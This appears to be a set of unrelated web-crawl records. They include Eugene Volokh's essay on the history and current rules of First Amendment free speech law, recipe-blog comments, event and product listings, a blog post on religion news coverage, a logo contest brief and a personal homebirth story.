text:
Freedom of Speech and of the Press
Congress shall make no law... abridging the freedom of speech, or of the press....Amendment I
What exactly did the Framers mean by "freedom of speech, or of the press"? Surprisingly, there is little definitively known about the subject. The debates in the First Congress, which proposed the Bill of Rights, are brief and unilluminating. Early state constitutions generally included similar provisions, but there is no record of detailed debate about what those state provisions meant. The Framers cared a good deal about the freedom of the press, as the Appeal to the Inhabitants of Quebec, written by the First Continental Congress in 1774, shows:
The last right we shall mention regards the freedom of the press. The importance of this consists, besides the advancement of truth, science, morality, and arts in general, in its diffusion of liberal sentiments on the administration of Government, its ready communication of thoughts between subjects, and its consequential promotion of union among them, whereby oppressive officers are shamed or intimidated into more honorable and just modes of conducting affairs.
The statement mentions some of the values that the Founders saw as inherent in the principle of freedom of the press: the search and attainment of truth, scientific progress, cultural development, the increase of virtue among the people, the holding of governmental officials to republican values, the strengthening of community, and a check upon self-aggrandizing politicians. But broad statements such as this may tell us less than we would like to know about what "the freedom of the press" meant to the Founders as a rule of law, when the freedom would yield to competing concerns, or whether the freedom prohibited only prior restraints or also subsequent punishments.
There were very few reported Founding-era court cases interpreting the federal and state Freedom of Speech and of the Press Clause, and very few Founding-era political controversies that would have excited some detailed discussion of what the clauses meant. The governments of the time were quite small, and the statute books thin. There were few laws restricting commercial advertising. There was only one state law banning pornography, and that appears to have been unenforced until 1821. There were a few state blasphemy laws, but they were largely unenforced from the early 1700s until the 1810s. There were no bans on flag-burning, campaign spending, or anonymous speech. This may but does not necessarily mean that such speech was broadly believed to be constitutionally protected; then as today, the government did not ban all that it had the power to ban. But the paucity of such bans meant that few people in that era really had occasion to define what the constitutional boundaries of speech and press protection might be. The only speech restriction that was broadly enforced was traditional libel law. Defaming another person was understood to be constitutionally unprotected.
In fact, the most prominent free press debate of the years immediately following the Framing—the Sedition Act controversy—illustrated that there was little consensus on even as central an issue as whether the free press guarantee only prohibited prior restraints on publications critical of the government, or whether it also forbade punishment for "seditious" speech once it was made. In 1798, the country was fighting the Quasi War with France. The Federalist Party controlled all three branches of the federal government, and its members suspected many Republican party stalwarts of sympathizing with France and the French Revolution and thus of fomenting disloyalty. Congress consequently made it a crime to publish "any false, scandalous and malicious writing or writings...with intent to defame" the government, the Congress, or the President, "or to stir up sedition within the United States, or to excite any unlawful combinations...for opposing or resisting any law of the United States,...or to aid, encourage or abet any hostile designs of any foreign nation against the United States, their people or government." Notably, malicious falsehoods about the Vice President—Thomas Jefferson, who was a leading Republican—were not covered by the law, and the law was scheduled to expire on March 3, 1801, the day before Federalist President John Adams's term was to end. Several publishers were in fact convicted under the law, often under rather biased applications of the falsity requirement.
Then Federalist Congressman John Marshall, although doubtful that the Sedition Act was wise, nonetheless argued that the free press guarantee meant only "liberty to publish, free from previous restraint"—free of requirements that printers be licensed, or that their material be approved before publication. Under this view, which echoed the British law as expounded by Sir William Blackstone, criminal punishment after publication was constitutional. Others, such as James Madison, the principal drafter of the Bill of Rights, argued the opposite: "[T]his idea of the freedom of the press can never be admitted to be the American idea of it; since a law inflicting penalties on printed publications would have a similar effect with a law authorizing a previous restraint on them."
Likewise, Marshall and other Federalists argued that the freedom of the press must necessarily be limited, because "government cannot be...secured, if by falsehood and malicious slander, it is to be deprived of the confidence and affection of the people." Not so, reasoned Madison and other Republicans: even speech that creates "a contempt, a disrepute, or hatred [of the government] among the people" should be tolerated because the only way of determining whether such contempt is justified is "by a free examination [of the government's actions], and a free communication among the people thereon." It was as if half the country read the constitutional guarantee one way, and the other half, the other way.
The Founding generation undoubtedly believed deeply in the freedom of speech and of the press, but then, as now, these general terms were understood quite differently by different people. Many people did not think about their precise meanings until a concrete controversy arose; and when a controversy did arise, the analysis was often influenced by people's political interests as much as by their honest constitutional understanding.
A 1995 Supreme Court case, McIntyre v. Ohio Elections Commission, illustrates the continuing debate over the original meaning of the clause. The question in McIntyre was whether the government could outlaw anonymous electioneering. The majority dealt with the question based on the Court's twentieth-century case law and twentieth-century First Amendment theories. Justices Clarence Thomas and Antonin Scalia, the Court's most devoted originalists, however, did focus on the original meaning discussion but reached different results.
Both Justices recognized that there was "no record of discussions of anonymous political expression in the First Congress, which drafted the Bill of Rights, or in the state ratifying conventions." They both recognized that much political speech in the time of the Framers (such as The Federalist itself) was anonymous. Indeed, much political speech justifying resistance to Parliament before the Revolution was also anonymous. To Justice Thomas, the experience of the Founders in their own use of anonymous speech was dispositive of what they would have regarded as a vital part of the freedom of speech, particularly where political speech was at issue. Justice Scalia, however, who has a narrower view of what can be accepted as evidence of original intent apart from the text of the provision itself, argued that "to prove that anonymous electioneering was used frequently is not to establish that it is a constitutional right"—perhaps the legislatures simply chose not to prohibit the speech, even though they had the constitutional power to do so. Justice Thomas did produce evidence that some Founding-era commentators saw anonymity as constitutionally protected, Justice Scalia replied that many of these were mere "partisan cr[ies]" that said little about any generally accepted understanding. Justice Thomas found the evidence sufficient to justify reading the First Amendment as protecting anonymous speech. Justice Scalia did not think the historical evidence of what people did necessarily showed much about what people were seen as having a constitutional right to do. Instead, Scalia turned to American practices of the 1800s and the 1900s, a source that he considers authoritative where the original meaning is uncertain. A consensus on the original meaning on this subject thus remains elusive.
Despite the originalist debate between Justices Thomas and Scalia, today's free speech and free press law is not much influenced by original meaning. It is mostly the creature of the experience and thinking of the twentieth century, as the Court first began to hear a wide range of free speech cases only in the late 1910s. This approach has produced the following free speech rules:
1. As with all of the Bill of Rights, the free speech/press guarantee restricts only government action, not action by private employers, property owners, householders, churches, universities, and the like.
2. As with most of the Bill of Rights, the free speech/press guarantee applies equally to federal and state governments, which includes local governments as well as all branches of each government. In particular, the civil courts are subject to the First Amendment, which is why libel law and other tort law rules must comply with free speech/press principles. New York Times Co. v. Sullivan (1964).
3. The free speech and the free press clauses have been read as providing essentially equal protection to speakers and writers, whether or not they are members of the institutional press, and largely regardless of the medium—books, newspapers, movies, the Internet—in which they communicate. Newspapers enjoy no more and no fewer constitutional rights than individuals. The one exception is over-the-airwaves radio and television broadcasting, which has for historical reasons been given less constitutional protection. Reno v. ACLU (1997).
4. The free speech/press guarantee also extends to any conduct that is conventionally understood as expressive—for instance, waving a flag, wearing an armband, or burning a flag. It also extends to conduct that is necessary in order to speak effectively, as, for example, using money to buy a public address system or to buy advertising. Restrictions on independent campaign expenditures, for instance, raise First Amendment problems because restricting the use of money for speech purposes is a speech restriction. Stromberg v. California (1931); Buckley v. Valeo (1976); McConnell v. Federal Election Commission (2003).
5. The free speech/press guarantee extends not just to political speech but also to speech about religion, science, morality, social conditions, and daily life, as well as to art and entertainment. In the words of a 1948 case, "The line between the informing and the entertaining is too elusive for the protection of that basic right. Everyone is familiar with instances of propaganda through fiction. What is one man's amusement, teaches another's doctrine." And the guarantee extends to low-brow expression (such as jokes or even profanity) as well as high-brow expression. Winters v. New York (1948); Cohen v. California (1971).
6. The free speech/press guarantee extends to all viewpoints, good or evil. There is no exception, for instance, for Communism, Nazism, Islamic radicalism, sexist speech, or "hate speech," whatever that rather vague term may mean. "Under the First Amendment there is no such thing as a false idea. However pernicious an opinion may seem, we depend for its correction not on the conscience of judges and juries but on the competition of other ideas." Gertz v. Robert Welch, Inc. (1974); New York Times Co. v. Sullivan (1964).
7. There is, however, a small set of rather narrow exceptions to free speech protection:
a. Incitement: Speech may be restricted if it is (i) intended to persuade people to engage in (ii) imminent unlawful conduct, and is (iii) likely to cause such imminent unlawful conduct. Outside this narrow zone, even speech that advocates lawbreaking is constitutionally protected. Brandenburg v. Ohio (1969).
b. False statements of fact: False statements of fact may generally be punished if they are knowing lies, though generally not if they are honest mistakes (even unreasonable mistakes). There are, however, some situations where even honest mistakes can be punished, and a few where even intentional lies are protected. Gertz v. Robert Welch, Inc. (1974).
c. Obscenity: Hard-core pornography is punishable if (i) the average person, applying contemporary community standards, would find that the work, taken as a whole, appeals to a shameful or morbid interest in sex or excretion; (ii) the work depicts or describes, in a way that is patently offensive under contemporary community standards, sexual conduct specifically defined by the applicable state law; and (iii) the work, taken as a whole, lacks serious literary, artistic, political, or scientific value. Miller v. California (1973).
d. Child pornography: Sexually themed live performances, photographs, and movies that were made using actual children may be punished even if they do not fit within the obscenity test. This does not cover digitized pictures, drawings, or text materials, which are constitutionally protected unless they are obscene. The Court has reasoned that child pornography is unprotected because it hurts the children involved in its making, so the exception only covers cases where actual children were indeed involved. Ashcroft v. Free Speech Coalition (2002).
e. Threats: Speech that is reasonably perceived as a threat of violence (and not just rhetorical hyperbole) can be punished. Virginia v. Black (2003).
f. Fighting words: Face-to-face insults that are addressed to a particular person and are likely to cause an imminent fight can be punished. More generalized offensive speech that is not addressed to a particular person cannot be punished even if it is profane or deeply insulting. Cohen v. California (1971).
g. Speech owned by others: Intellectual property laws, such as copyright law, may restrict people from using particular expression that is owned by someone else; but the law may not let anyone monopolize facts or ideas. Harper & Row Publishers, Inc. v. Nation Enterprises (1985).
h. Commercial advertising: Commercial advertising is constitutionally protected, but less so than other speech (political, scientific, artistic, and the like). Misleading commercial advertising may be barred, whereas misleading political speech cannot be. Commercial advertising may also be required to include disclaimers to keep it from being misleading; such disclaimers can't be required for political speech. It is an open question whether commercial advertising may be restricted for paternalistic reasons, because of a fear that people will learn accurate information but will do bad things based on that information—for example, buy more alcohol, smoke more, or use more electricity when there is a shortage. This exception applies only to speech that proposes a commercial transaction between the speaker and the listener; it does not apply to speech that is merely sold in commerce, such as books, videos, and databases. 44 Liquormart, Inc. v. Rhode Island (1996).
8. All of the preceding rules apply to restrictions that relate to what the speech communicates—to the tendency of the speech to persuade people, offend them, or make them feel unsafe. Content-neutral restrictions that relate to the noncommunicative impact of speech—for instance, noise, obstruction of traffic, and so on—are easier to justify. The test for content-neutral restrictions is complicated, but the key point is that the government may generally impose content-neutral "time, place, and manner restrictions" so long as those restrictions leave open ample alternative channels for communication. All such restrictions, however, must be neutral as to content: if they treat speech differently based on content, they are generally unconstitutional even if they focus only on the time, place, and manner of the speech. Ward v. Rock Against Racism (1989).
9. Finally, all of the preceding rules apply to restrictions that are imposed by the government acting as sovereign and backed by the threat of jail terms, fines, or civil liability. They also apply to the government controlling what is said in "traditional public fora," such as parks, streets, sidewalks, or the post office. But when the government is acting as, for instance, (a) employer, (b) K–12 educator, (c) proprietor of government property other than traditional public fora, (d) subsidizer, (e) speaker, or (f) regulator of the airwaves, it has broader (though not unlimited) authority. The rules for that, unfortunately, are too elaborate to set forth here. Connick v. Myers (1983); Tinker v. Des Moines Independent Community School District (1969); ISKCON v. Lee (1992); Rosenberger v. Rector and Visitors of the University of Virginia (1995); FCC v. League of Women Voters of California (1984).
Free speech/press law is sometimes called the tax code of constitutional law. The discussion above suggests how complex the law is, but while some of the complexity may be needless, much of it is inevitable. Communication is in many ways the most complicated of human activities, and no simple rule can properly deal with all the different kinds of harms that it can cause—or all the different kinds of harms that restricting communication can cause.
- Eugene Volokh
- Gary T. Schwartz Professor of Law
- University of California, Los Angeles School of Law


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1/4 teaspoon pure, ground vanilla
October 16, 2011
Sugar-free rhubarb macaroon slice
1/4 teaspoon pure, ground vanilla
27 comments:
I would be interested to try these. I am sure they have a natural sweetness that is just delicious.ReplyDelete
This looks delicious, and I love coconut in everything!ReplyDelete
This looks like quite the healthy treat! And you're making me a little curious about going sugar-free for just a little while to see what it's like.ReplyDelete
Great! A wonderful sugar-free treat.ReplyDelete
I'm on day 13 of sugar free, myself! I'm also doing a liver cleanse with it, taking herbs and probiotics. Will definitely have to try this sometime this week. Love to hear you're experiencing some of the same things :)ReplyDelete
You are doing so well on the sugar free :) I like that I will be able to try it just a little bit with some of these delicious sounding sugar free treats. Coconut & rhubarb, now that is wonderful combination.ReplyDelete
These look so delicious!ReplyDelete
Looks so healty and yum! Pictures are beautiful and I want to bite one piece in the picture now!ReplyDelete
Ihanan näköistä! Makenhimosta pääsee aika hyvin eroon kun makean määrää vähentää:nykyään pidän vain miedosti makeutetuista jutuista.Jäikö tuo raparperitäyte kovin happameksi kun et käyttänyt siihen mitään makeutusta?ReplyDelete
this sounds really good! I'm still adapting to the no-sugar thing - I've tried a few recipes from your past posts and i still find the food (especially the muffins I've tried) a lot getting used to - they still taste a tad bland to me. this is especially since I'm used to white sugar and white sugar =S unhealthy I know but I'm weaning myself off :)ReplyDelete
Thanks girls!ReplyDelete
Yaelian: Kun keitin raparperia tarpeeksi kauan (melkein kuin hilloksi), se ei ollut hapanta mielestäni ollenkaan. Vanilja tuo hyvan lisän jos sitä haluaa käyttää makeutukseen.
Janine: Thank you for your feedback! I have found the muffins and this macaroon slice just perfectly satisfying when being on the sugar-free trial. They are certainly not very sweet, but that's exactly what I've enjoyed. Good luck with your trial!
You know, I wouldnt have thought it possible but it is , sugar free rhubarb slice!ReplyDelete
Oh this looks perfect! My current apple sweetened cake-y treats are getting a bit old lately, I think this slice is exactly what I need!ReplyDelete
This looks goooooooooooooooood. Panu hassles me to make things with less sugar (he would love your no sugar diet lol) so I should definitely book mark this one!ReplyDelete
Incredible! I love this idea :)ReplyDelete
what a delicious and adaptable treat! the crust may very well be my favorite part--i can't resist coconut--but the layer of rhubarb filling is extremely tempting as well!ReplyDelete
This looks fabulous! I'm always looking for more ways to use quinoa flakes, too, so will definitely try this treat. (Love the addition of cocoa nibs - I'm hooked on them.)ReplyDelete
Just curious - I want to cook these, but I'm struggling to find the raw cacao nibs. I've tried Thomas Dux and a couple of other wholefood stores..ReplyDelete
Does anyone know where I can get them from - preferably around Surry Hills..
Hey Matthew,ReplyDelete
You could try Organic Produce on 487 Crown Street. They have a pretty limited supply of groceries, but you might be lucky. Any health food store in the area should stock these as well. Otherwise you can simply leave them out, it won't make a huge difference, but does give a nice addition to the slice.
Hope this helps!
- Rachel8 November 2011 at 09:50
Curious if there is any particular reason why you use egg whites in the base? Generally I find I can just use a whole egg and it will be fine.ReplyDelete
I can use up 3 egg yolkes, but not 5!
Hi Rachel,ReplyDelete
No particular reason why I've used just egg whites. If you find that a whole egg works, you might as well use that if you prefer.
Thank you for the feedback!
Hi Maria, love your site :-)ReplyDelete
I made this today but I think I must have gone wrong somewhere as the base was totally inedible?! I didn't have cacao nibs so I used some cacao powder I had but it was really dry and had no taste. Eeek...
Hi Kate,ReplyDelete
Thank you for your feedback! I'm sorry to hear the recipe didn't work for you. It should definitely not be dry, maybe you kept it in the oven for too long (all ovens are different)? Cacao powder might make the mixture more dry and slightly bitter. If you don't have cacao nibs, you can leave them out altogether.
Thanks again and kind regards,
- Anonymous22 November 2011 at 11:33
Hi Maria, just wondering, where do you buy coconut flakes from? I've looked in health food stores, Thomas Dux but I can't find them. Any tips?ReplyDelete
Hi there and thank you for your comment,ReplyDelete
Honest to Goodness has wonderful organic coconut flakes that are sulphur free.
Hope this helps!
- Anonymous28 November 2011 at 21:52
I tried the recipe tonight, but ran out of eggs, and 3 egg whites weren't enough to cover my base. I think my eggs weren't large enough. Haven't tried it yet, but it smells yummy!ReplyDelete
- Anonymous27 September 2012 at 23:23
i have just finished my chickpea patties (which were beautiful!) and found this! i am new here and love it already! where were you hiding all this time??? so nice of you to be bothered to do what you are doing. carry on and thank you :)ReplyDelete

subset: commoncrawl


text:
Thu, Dec. 19, 2019 7:30pm — 11:00pm
Located in the heart of historic Gawler, The Prince Albert Hotel is owned and run by a Daughter/Father team.
It is a traditional yet contemporary pub known for its distinctive historic character.
If you love live music, then you'll love the PA's Open Mic sessions on Thursday nights. Pop in for a drink or meal, and make a note of up and coming entertainment events.


text: I have a neighbor hiking the Tahoe Pacific Rim trail in sections (due to some of the group that works during the week). They need transportation from the OHV staging area at the east end of Rubicon trail to Richardson Lake on Thursday. They're willing to negotiate price for help. They would've done the trail all at once BUT the smoke from these damn fires prevented it. To contact my neighbor Karl please email at email@example.com. Any help would be appreciated. Thank you. Kevin Can also email me at email@example.com


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Lieutenant-Colonel John Ward CB CMG (21 November 1866 – 19 December 1934) was an English politician, trade union leader and soldier.
Ward was born at Oatlands, Surrey, the son of Robert and Caroline Ward. His father, a plasterer, died when he was three and he and his mother moved back to her home village of Appleshaw, near Andover, Hampshire. He had no real education and began working at a variety of odd jobs when he was seven years old. At the age of twelve he began work as a navvy on the Andover and Weyhill Railway, lodging with a man in Weyhill. He continued working as a navvy on jobs all over the country, including the Manchester Ship Canal, for the next seven years. It was only during this time that he learned to read and write.
In 1885, he enlisted in the British Army and served in the Sudan campaign, where he worked on the uncompleted military railway from Suakin to Berber. He was now becoming increasingly interested in politics and in 1886 joined the new Social Democratic Federation. On 9 November 1886 he took part in the meeting in Trafalgar Square which had been specially organised by the SDF to test the legality of the proclamation of Sir Charles Warren, the Commissioner of Police of the Metropolis, that demonstrations of the unemployed could not be held there. He was arrested, but due to his military record escaped with a fine.


text:
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Helmut Lang
Masc Trucker Jacket
Estimated Delivery: Sep 23
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text:
What does the "Mad Men" fad have to do with religion news and religion writing? Hang on, we'll get to that. I promise.
But first things first. I have been fascinated with the religion beat ever since I was in college, when I discovered that -- even at Baylor University, the world's largest Baptist university -- most of my journalism colleagues simply were not interested in writing news stories about religion.
Oh, everyone wanted to write opinion pieces about religious subjects -- but not news. Everyone wanted to write edgy columns focusing on the many ways that our university was wrong, but no one wanted to interview people on both sides of the tough issues and then write balanced stories that attempted to chart the debates.
However, my mentor -- the famous Texas journalist David McHam -- once pulled me aside (after a particularly troubling episode of the student newspaper ignoring a valid religion-news story) and said something that changed my life.
McHam noted, and I promise you this quote is accurate: "I think religion is the worst covered subject in journalism. Do you want to try to do something about that?"
I did. So he introduced me to religion reporter Louis Moore, then of The Houston Chronicle, who was an officer in the Religion Newswriters Association. I started learning everything I could about religion writing and, here's the key, that included asking people about all the reasons journalists offered for ignoring religion news and the role that religious faith plays in real life in America and around the world. Yes, we're talking about "ghosts" and "blind spots."
This leads me to the spring of 1982 and some research I did in graduate school -- 30 years ago, obviously. An interview way back then provided a hook for my syndicated column this week, which marked the 24th anniversary of the birth of my "On Religion" feature for Scripps Howard News Service. Here's the top:
The late, great Associated Press religion reporter George Cornell noticed a striking pattern as he dug into a 1981 survey of journalists in elite newsrooms such as The New York Times, The Washington Post, The Wall Street Journal, Time, Newsweek, ABC, CBS and NBC.
In the space marked "religion," 50 percent of these elite journalists wrote one word -- "none."
"They wrote 'none' and many even underlined that word," said Cornell, in an interview conducted for my graduate project at the University of Illinois in Urbana-Champaign. Parts of the interview were included in my 1983 cover story on religion-news coverage for The Quill, the journal of the Society of Professional Journalists.
In the religion slot, he noted, they "didn't just say 'none.' They said 'NONE.' "
Other numbers jumped out of that controversial report by researchers S. Robert Lichter and Stanley Rothman, such as the fact that 8 percent of the journalists said they attended worship services weekly, while 86 percent said they seldom or never did so. In contrast, the Gallup Organization has consistently reported that about 40 percent of Americans claim to attend services each week.
Now, ever since that piece in The Quill, I have been listening to people argue about this question: Why do so many of the people who manage mainstream newsrooms refuse to take religion news seriously?
Of course, there are plenty of religious believers who simply assume that journalists hate religious believers -- especially traditional believers.
That's too simplistic. You can just as easily point a finger of blame at religious schools for failing to produce journalists with the skills needed to work in the mainstream press.
As I have said a million times, the religion-beat wars are linked to a "blind side" that has two sides. The bottom line: The two halves of the First Amendment just don't get along. Far too many religious people simply do not respect the valid role that the press plays in a free society and far too many journalists do not respect the role that religious institutions play in that same free society.
I could go on and on. But before I get to "Mad Men," you might want to look at this classic 2007 PressThink essay by Jay Rosen entitled "Journalism is Itself a Religion." It contains a key question: The press may, by its nature, doubt claims of eternal truth. However, does this inborn skepticism require journalists to poorly cover the views of people who do believe in eternal, transcendent truths? In other words, is it tolerant to be intolerant (thus producing unbalanced often inaccurate news coverage) when dealing with true believers that you believe are intolerant?
Like I said, I have heard so, so, so many theories on why religion news gets so little institutional respect in the Fourth Estate.
Then, earlier today, one of my best friends -- Rod "Crunchy Cons" Dreher -- came up with an interesting new spin on this issue. His blog piece, which is full of interesting twists and turns (movie reviewing, "craft" beers, suburban news bureaus as visions of hell, etc.), is called "The 'Who Watches Mad Men?' Effect."
You need to read the whole crazy thing, which focuses on why journalists tend to become so entranced with items in elite culture and pop culture (think "Mad Men") that are simply not that relevant to, well, most of the people who once read daily newspapers.
"Mad Men" was, at least for a while, a really innovative, interesting drama (it may still be, I dunno). It's relative lack of popularity may say very little about its quality, and quite a lot about the limits of mass consumer taste. Fifty skrillion more people drink Budweiser than drink craft beers. All the interesting stuff in American beermaking is happening at the craft level. What is there to say about Budweiser?
You get the point. And yet, I wonder about this same dynamic applied to the coverage of religion in America. Unlike the arts, fine dining, beermaking, etc., religion is not about connoisseurship and innovation. Yet if one follows the mainstream media's coverage of religion, one generally sees a disproportionate amount of attention paid to the kinds of religion stories that are conventionally interesting than to the kind of religion stories that reflect how many, even most, religious Americans live. The Episcopal Church, for example, is the "Mad Men" of American religion. Slightly more people watch "Mad Men" on a given week than belong to the Episcopal Church, which has about 2 million members, and steadily falling. There are vastly more people in suburban megachurches on a given Sunday than in Episcopal parishes. Yet who gets the media attention? Part of this is because TEC really is and has been at the forefront of a huge religion story: the way churches are splitting on the subject of homosexuality. What was pretty much only an Episcopal phenomenon 15 or 20 years ago is now unquestionably mainstream.
My guess, though, is that the disproportionate press attention paid to TEC's Sturm and Drang has as much to do with what interests the people in newsrooms who decide what's news. Newsrooms, as has been firmly established, are highly secular places. They are also places where one's progressive bona fides are not established by one's position on economic issues, but on culture-war issues, especially on sexuality. This is why the pope can talk all day long about the poor, or about peacemaking, and the US press is ho-hum about it. But let him say something about sex, and it's stop-the-presses time.
Anyway, I'm generalizing, but it's still interesting to think about why certain things, and certain issues, get covered by the media, and others don't.
In other words, religion -- especially in its traditional forms -- is simply not cool to the kinds of young-ish, urban, secular and/or "spiritual but not religion" people who tend to populate newsrooms (or even urbane Baby Boomers such as former New York Times editor Bill Keller).
This brings me to one final point, one troubling juxtaposition of religion-beat statistics that caught my eye the other day when I was following up on Sarah Pulliam's post about the new religion-news study (.pdf is here) from the University of Southern California and The University of Akron.
Thus, here is the end of this week's Scripps Howard column:
In this survey, nearly 60 percent of the journalists said they think "religious people are far too sensitive about religion stories." At the same time, a sizable minority of news consumers -- 37 percent -- remain convinced that journalists are "hostile to religion and religious people."
Wait a minute. That 37 percent figure is uncomfortably similar to the consistent Gallup finding (the previously mentioned 40 percent) on the number of Americans who claim to attend weekly worship services. Is there a connection?
This correlation is relevant, but these groups "do not overlap completely," said veteran religion-news researcher John C. Green of Akron.
Nevertheless, he said, "there is a connection between regular worship attendance and the perception that the news media are hostile to religious people." At the same time, "less-religious journalists are more likely to agree that religious people are too sensitive."
The standoff continues. It's kind of like deja vu all over again.
Cheers. Sorry for rambling about a bit. There is so much I could say on this topic after 30-plus years on the front lines.
NOTE: Please focus your comments on the key issues: Why do so many mainstream newsrooms (many, but not all) struggle to cover religion news in an accurate and balanced manner? Why is religion so hard to "get"?


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MattMageeSOLD needed a new logo design and created a contest on 99designs.
A winner was selected from 142 designs submitted by 37 freelance designers.
Matt Magee Real Estate (real estate does not have to be used in the logo)
I am a new 30-something Broker looking to set myself apart from the old-school neighborhood real estate agent. I need a bold (lettering and colors), solid, edgy logo to become my brand where the colors and look will be used on numerous marketing materials including but certainly not limited to bus benches, flyers, mailers, bus cards, website, letterhead and other standard promo materials. Let's rock the landscape with something you'd be proud to stick your face on. I'm loyal to my designer for future projects if you produce something solid here. Help me start my business right!
Thanks for reading and your contributions! Matt
Men & women 30's – 50's. Singles, families & Investors. Households earning from $150,000+. The homes I will list and sell will fall between $400,000 to $24,000,000. My clients thus will be from first-time buyers to seasoned millionaire real estate investors. My prospects are a high-profile group that make decisions on first impression so your logo should catch their eye! I have no problem referring good designers if asked. I will be circulating this logo on over 2500 mailers per month not including 100 websites and publications.
Let the creative juices flow but IF you need some guidelines then here are a few ideas but they are NOT required:
1. "Real Estate" does not have to be used if you prefer to brand my name though this is a business logo.
2. (Highly desired but not required) Incorporate an image of a palm tree (modern, contemporary or abstract – not literal image). The palm tree is a personality mark for me.
3. Convey that the business is real estate related. I do not like most existing logos that have the basic house incorporated – looking for something more innovative.
4. Colors (not required): Black/Grey/White combo, or Black/Green combo, Black/Red/White, or Black/Blue/White or Black/Orange/Grey combos, etc.
Versions: Inverted color options, black/white backgrounds, transparent backgrounds, png, .jpeg / .gif / .layered psd / .ai / illustrator / other beneficial versions for common uses
NEED: Logo use will be branded on postcards sized (8.5" X 5.5") AND (4.25" X 6") - please provide versions that display properly on such postcards. I am not a marketing guru here sorry :-)
Summary: Contemporary, Classy, Professional and Modern Logo Needed
File attached (images from this site) below are just a few ideas of my vision, found on this site. BUT I am here to see your vision so run with it!
I can't wait for your creativity - please show your vision regardless of the above details - I will consider every submission Cheers!
Find out how a design contest works or learn more about our logo design services.


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I want to share this story because I hope it will help other women know that when things don't go as planned, it's okay to grieve that loss.
How do I even begin to tell this story that is so full of heartache, joy, love, pain, and so many other emotions and feelings?
To really understand the meaning of all of this, we need to back track a bit, to the birth of my son, Will. I saw an OB throughout my pregnancy with Will, had him at the hospital, including getting an epidural, having my water broken, and receiving pitocin. He was healthy, I was healthy, and yet so many things happened on that day that I didn't like. The nurse telling me to be quiet during pushing, the OB yelling at the nurse for more light while stitching me up, and just the general feeling I got from the staff that I was "just another patient" to them.
I began wearing Will when he was five months old, which lead to cloth diapering at 11 months, and my parenting philosophy began to evolve and change. I had become friends with several natural-minded moms online through Babycenter's Community website. One of those lovely ladies (our very own Alyssa!) had had a homebirth with her daughter and had a slide show of pictures from it on YouTube. I watched it and was instantly moved to start researching this other world of birthing. We weren't trying at the time and wouldn't be for a while, but I kept on with my research off and on for the next two years, until we had Leah. So when we found out we were expecting, we already knew what we wanted–a homebirth. I could go into great detail about why and all the statistics about homebirth, but that's not necessary here. Just know that having a homebirth was truly the desire of my heart.
We found out we were expecting May 13th with a home pregnancy test. We were instantly surprised but very, very happy and excited. We didn't tell many people of our plans for a homebirth, mainly because I didn't feel like defending my decision for the rest of my pregnancy. A friend of mine who had had a homebirth just months before we found out we were expecting recommended her midwife to us. I contacted her and we did an interview. We knew instantly that Mary was the midwife for us. I began seeing her for my prenatal appointments and LOVED the time I got to spend talking with Mary about everything pregnancy related. When I would go to see Mary, I didn't have a wait and I spent an hour (sometimes more) with her. It was already so much better than my experience with my OB during my pregnancy with Will.
Everything was going well until one day at 15 weeks pregnant, I was having some minor cramping and lower backache at work. I called Mary and was given a list of products to pick up from the health food store and told to go home and rest. Mary was concerned that the pain was possibly being caused by uterine contractions. The rest and the products didn't help–by that evening, I was timing my contractions like early labor. They weren't painful, but they certainly were very concerning. We had ruled out a urinary tract infection, but things only seemed to be getting more serious. There was no point in going to the hospital because they wouldn't do anything to stop early labor before 20 weeks. Finally, my midwife recommended that I drink a few ounces of wine to see if that would stop them. Sure enough, it did the trick. They stopped. I rested for the next few days after getting an ultrasound to make sure that nothing was wrong with the baby. Baby was perfect.
At 20 weeks, we had an anatomy scan done. We found out we were having a girl (yay!), but we also found out she had a bit of excess fluid around her heart. It was recommended that I come back at 26 weeks to check to see if the fluid was still there. At 26 weeks, the fluid was still there. My midwife set up an appointment for us to see a Maternal Fetal Medicine doctor. After having another ultrasound and having a video of her heart taken and sent off to a pediatric cardiologist, they saw nothing threatening with the fluid. The structure and function of her heart was perfect and there wasn't fluid anywhere else. Thank God she was ok. Two scares already this pregnancy, but we were so grateful to know that our little girl was okay.
The rest of my pregnancy went pretty smoothly. Leah's position was constantly changing. So when she was sitting breech at 36 weeks, I wasn't too worried yet. Mary massaged on my belly gently and was able to get Leah head down. Yay! However, at 39 weeks, my stubborn baby girl decided to flip…again! I went to the chiropractor, had the Webster technique done, put ice on my belly, and even took a flashlight to my belly before bed, and the next morning she was head down once again. Now it was a waiting game, just waiting to go into labor.
I started having irregular contractions during the day December 29th, almost two weeks before my "due date" of January 9th. I knew we were in the safe zone for having a homebirth, so I was okay with her coming then. The contractions continued after I got off work, so I went to Wal-Mart after picking up Will from the sitter's to pick up last-minute food and supplies should this be the real deal. Jay and I got everything ready that night, including hanging the clear Christmas lights in the bedroom for the soft ambiance I wanted for our birth. It was calming and peaceful. I had texted Mary that my contractions were three to five minutes apart but weren't painful yet. I took a nice long, warm bath and went to bed knowing that if it was the real deal, I would be back up soon. About 1:00 a.m., I couldn't sleep. The contractions were irregular and I was uncomfortable. I went to the living room, sat on the birth ball, and put on a movie. By the end of the movie, my contractions had fizzled out and I went back to bed. I took off Friday to rest, just in case we were in for a long night. After a few days of off-and-on contractions almost continuously, I had to get in the frame of mind that I wasn't in active labor until I had to stop and breathe through the contractions. That night finally came almost two weeks after my labor initially started.
Around 10:00 p.m. on January 11th, I noticed that my contractions were different than what I had been having for almost two weeks. I tried to lie down and get some sleep. Knowing how long my labor had been with Will (28 hours), I wanted to be rested in case I was in for a long labor again. Around midnight, I realized I was barely sleeping and was going to have to start working with my contractions soon. I had read some natural child birthing books about how to cope with labor and was putting those methods into full use. Back labor was in full swing already and I could tell this was going to be an intense labor. I kept telling myself that I would have the birthing pool later to labor in–I just had to make it until I could get into the pool. That was my motivation–that is what kept me going, knowing that some type of relief would be not too far down the road. I woke Jay up at 1:30a.m. to come put counter pressure on my lower back–it helped tremendously!
I had been texting Mary during this time as she was finishing up at another birth an hour away. I continued to work with Jay through my contractions. Mary let me know that she was sending her assistant, Corina, to get the pool and she was on her way to my house. I was so relieved to know that my method of relief was on its way. I was so excited that our baby girl was on her way. We called my mom at 3:00 o'clock; she was here within 15 minutes, with Corina and Mary not far behind her. The back labor was already so intense that I had thrown up twice and was nauseous by the time Corina and Mary got to the house. Corina and my mom began setting up the pool and I was so looking forward to getting into it for some type of relief from all the intense contractions. My water broke as they were setting up the pool.
